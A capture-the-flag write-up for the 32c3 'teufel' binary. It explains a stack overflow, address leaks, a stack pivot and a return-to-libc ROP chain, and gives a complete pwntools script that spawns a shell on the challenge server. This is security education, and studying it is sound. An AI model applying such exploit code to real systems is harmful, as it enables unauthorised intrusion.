32c3 Teufel

This is a write-up of the teufel challenge from the 32c3 CTF

The Challenge

This was a 64-bit x86 binary pwnable. The way it worked was that it allocated a new stack with a read-only guard page above it, and then it entered a loop which called a function which was more or less equivalent to

void read_read_puts(){
    long int n;
    if(read(0, &n, 8) <= 0) exit(0);
    if(read(0, &n, n) <= 0) exit(0);
    puts(&n);
}

The Exploit

First of all, because the way the stack has been setup we can only put 24 bytes on the stack, namely n, rbp, and rip, therefore we can only jump to one gadget, and we only control rbp.

However we are able to leak the address of the stack by only sending 9 bytes, and then let puts print it to us:

from pwn import *

r = process("./teufel")

r.send(p64(9))
r.send("A"*9)

assert r.recvn(8) == "A"*8

stack = u64(r.recvline()[:-1].ljust(8,"\x00")) & ~0xfff
log.info("Stack is at 0x%x", stack)
$ python doit_teufel.py 
[+] Starting program './teufel': Done
[*] Stack is at 0x7fe6913aa000
[*] Stopped program './teufel'

Now that we know where the stack is, we found the gadget

loop:
4004d4: mov    rsp,rbp
4004d7: call   4004e6 <read_read_puts>
4004dc: jmp    4004d7 <loop>

Using this gadget we were able to pivot the stack, to get more space:

mov_rsp_call = 0x4004d4
rop1 = flat([
    "A"*8,
    stack-0x100,
    mov_rsp_call
], word_size=64)

r.send(p64(len(rop1))+ rop1)
r.recvline()

Now attaching gdb at this point we can see whats on the stack:

gdb$ x/10xg $sp
0x7fec13046ee8: 0x0000000026250a61  0x00007fec13046f00
0x7fec13046ef8: 0x00000000004004dc  0x00000000568cdfd4
0x7fec13046f08: 0x000000002625d0da  0x0000000000000000
0x7fec13046f18: 0x0000000000000000  0x0000000000000000
0x7fec13046f28: 0x00007fec12e28740  0x00000000ffffffff
                ^ this is in libc

And we can leak this:

r.send(p64(4*16))
r.send("A"*4*16)
assert r.recvn(4*16) == "A"*4*16
libc = u64(r.recvline()[:-1].ljust(8,"\x00")) - 0x3c5740
log.info("Libc is at 0x%x" % libc)
$ python doit_teufel.py 
[+] Starting program './teufel': Done
[*] Stack is at 0x7fbb8f3b1000
[*] Libc is at 0x7fbb8edcd000
[*] Program './teufel' stopped with exit code -11

and then teufel crashes... But becuase of the way the stack was allocated it is placed relative to libc, so we can just restart the program, leak the address of the stack again, and then ROP in libc.

So this was the final exploit:

from pwn import *

def new_process():
    #r = process("./teufel", env={"LD_LIBRARY_PATH": os.getcwd()})
    r = remote("136.243.194.41", 666)

    r.send(p64(9))
    r.send("A"*9)

    assert r.recvn(8) == "A"*8

    stack = u64(r.recvline()[:-1].ljust(8,"\x00")) & ~0xfff
    log.info("Stack is at 0x%x", stack)

    mov_rsp_call = 0x4004d4

    pivot_rop = flat([
        "A"*8,
        stack-0x100,
        mov_rsp_call
    ], word_size=64)

    r.send(p64(len(pivot_rop)) + pivot_rop)
    r.recvline()
    return r, stack

r, stack = new_process()
r.send(p64(4*16))
r.send("A"*4*16)

assert r.recvn(4*16) == "A"*4*16

libc = u64(r.recvline()[:-1].ljust(8,"\x00")) - 0x3c5740
log.info("Libc is at 0x%x" % libc)

diff = libc - stack

r, stack = new_process()
libc = stack + diff
log.info("Libc is at 0x%x" % libc)

pop_rdi = libc + 0x218a2
system = libc + 0x443d0

rop = flat([
    "/bin/sh\x00",
    0x0,
    pop_rdi,
    stack-0x100-0x18,
    system
], word_size=64)

r.send(p64(len(rop)) + rop)

r.clean()
r.interactive()

So we have a shell:

$ python doit_teufel.py 
[+] Opening connection to 136.243.194.41 on port 666: Done
[*] Stack is at 0x7f76345fc000
[*] Libc is at 0x7f7634012000
[+] Opening connection to 136.243.194.41 on port 666: Done
[*] Stack is at 0x7f7409b69000
[*] Libc is at 0x7f740957f000
[*] Switching to interactive mode
$ cat flag.txt
32C3_mov_pop_ret_repeat